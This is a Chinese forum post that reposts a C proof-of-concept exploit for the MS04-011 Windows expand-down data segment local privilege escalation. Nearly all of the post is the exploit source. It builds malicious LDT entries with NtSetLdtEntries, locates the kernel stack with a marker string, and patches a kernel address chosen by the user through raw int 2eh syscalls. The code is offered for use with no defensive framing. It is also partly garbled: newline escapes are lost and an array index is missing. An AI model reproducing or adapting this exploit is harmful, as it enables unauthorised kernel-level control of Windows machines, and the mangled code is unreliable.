发新话题
打印

Windows Expand-Down Data Segment Local Privilege Escalation

Windows Expand-Down Data Segment Local Privilege Escalation

信息来源:自由网络
复制内容到剪贴板
代码:
/******************************************************************
* Windows Expand-Down Data Segment Local Privilege Escalation
* [MS04-011]
*
* Bug found by: Derek Soeder
* Author: mslug ([email]a1476854@hotmail.com[/email]), All rights reserved.
*
* Version: PoC 0.1
*
* Tested: Win2k pro en sp4
*
* Thanks: z0mbie's article :)
*
* Compile: cl winldt.c
*
* Date: 18 Apr 2004
*******************************************************************/


#include <windows.h>
#include <stdio.h>
#include <string.h>

#if 1
  #define KernelStackPtr 0xFD000000 //
  #define BedSize 0x01000000
#else
  #define KernelStackPtr 0xF0000000
  #define BedSize 0x10000000
#endif

unsigned char bed[BedSize];
unsigned char pin[]="COOL";

int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);

WORD SetupLDT(WORD seg, DWORD ldtbase);

unsigned long patch_to;

int main(int argc, char *argv[])
{
  DWORD ldtbase, KSP;
  int i;
  HMODULE hNtdll;
  
  if(argc<2) {
    printf("** coded by [email]mslug@safechina.net[/email] **n");
    printf("winldt.exe <kernel address>n");
    return 0;
  }

  patch_to = strtoul(argv[1], 0, 16);
  
  hNtdll = LoadLibrary("ntdll.dll");
  
  (DWORD*)NtSetLdtEntries = (DWORD*)GetProcAddress(hNtdll, "NtSetLdtEntries");
  
  memset(bed, &#39;A&#39;, BedSize);
  bed[BedSize-1]=0;
  
  ldtbase = (DWORD) &bed[0] - KernelStackPtr;
  
  printf("[+] User-land bed : 0x%08Xn", &bed[0]);
  printf("[+] 1st LDT base : 0x%08Xn", ldtbase);

  SetupLDT(0x1f, ldtbase);
  __asm {
    push es
    push 1fh
    pop es
    mov eax, 11h //1 param
    lea edx, pin
    int 2eh
    pop es
  }

  for (KSP=0, i=0; i<BedSize-3; i++) {
    if (bed ==&#39;C&#39; && bed[i+1]==&#39;O&#39; &&
       bed[i+2]==&#39;O&#39; && bed[i+3]==&#39;L&#39; )
    {
      KSP = KernelStackPtr + i;
      printf("[!] Knl stack ptr : 0x%08Xn", KSP);
      //KSP = (DWORD)&bed-ldtbase;
      //printf("[!] Knl stack ptr : 0x%08Xn", KSP);
      break;
    }
  }
  
  if(!KSP) {
    printf("[-] Can&#39;t locate Kernel stack pointer, try againn");
    return 0;
  } else if (patch_to < KSP) {
    printf("[-] Can only patch kernel above KSPn");
    return 0;
  }
  
  ldtbase = patch_to - KSP;

  printf("[+] Patch to : 0x%08Xn", patch_to);
  printf("[+] 2nd LDT base : 0x%08Xn", ldtbase);

  SetupLDT(0x17, ldtbase);
  __asm {
    push es
    push 17h
    pop es
    mov eax, 11h
    lea edx, pin
    int 2eh
    pop es
  }
  
  return 0;
}

WORD SetupLDT(WORD seg, DWORD ldtbase)
{
  LDT_ENTRY EvilLdt;
  DWORD base = ldtbase;
  DWORD limit = 0;
  int ret;
  
  EvilLdt.BaseLow = base & 0xFFFF;
  EvilLdt.HighWord.Bytes.BaseMid = base >> 16;
  EvilLdt.HighWord.Bytes.BaseHi = base >> 24;
  EvilLdt.LimitLow = (limit >> 12) & 0xFFFF;
  EvilLdt.HighWord.Bits.LimitHi = limit >> 28;
  EvilLdt.HighWord.Bits.Granularity = 1; // 0/1, if 1, limit=(limit<<12)|FFF
  EvilLdt.HighWord.Bits.Default_Big = 1; // 0=16bit 1=32bit
  EvilLdt.HighWord.Bits.Reserved_0 = 0; // 0/1
  EvilLdt.HighWord.Bits.Sys = 0; // 0/1
  EvilLdt.HighWord.Bits.Pres = 1; // 0/1 (presence bit)
  EvilLdt.HighWord.Bits.Dpl = 3; // only 3 allowed :-(
  EvilLdt.HighWord.Bits.Type = 23; // [16..27]

  ret = NtSetLdtEntries( seg,
              *(DWORD*)&EvilLdt,
              *(((DWORD*)&EvilLdt)+1),
              0,0,0);
  if (ret < 0) {
    printf("[-] Set ldt error : %08X.n", ret);
    exit(0);
  }

  return seg;
}

TOP

发新话题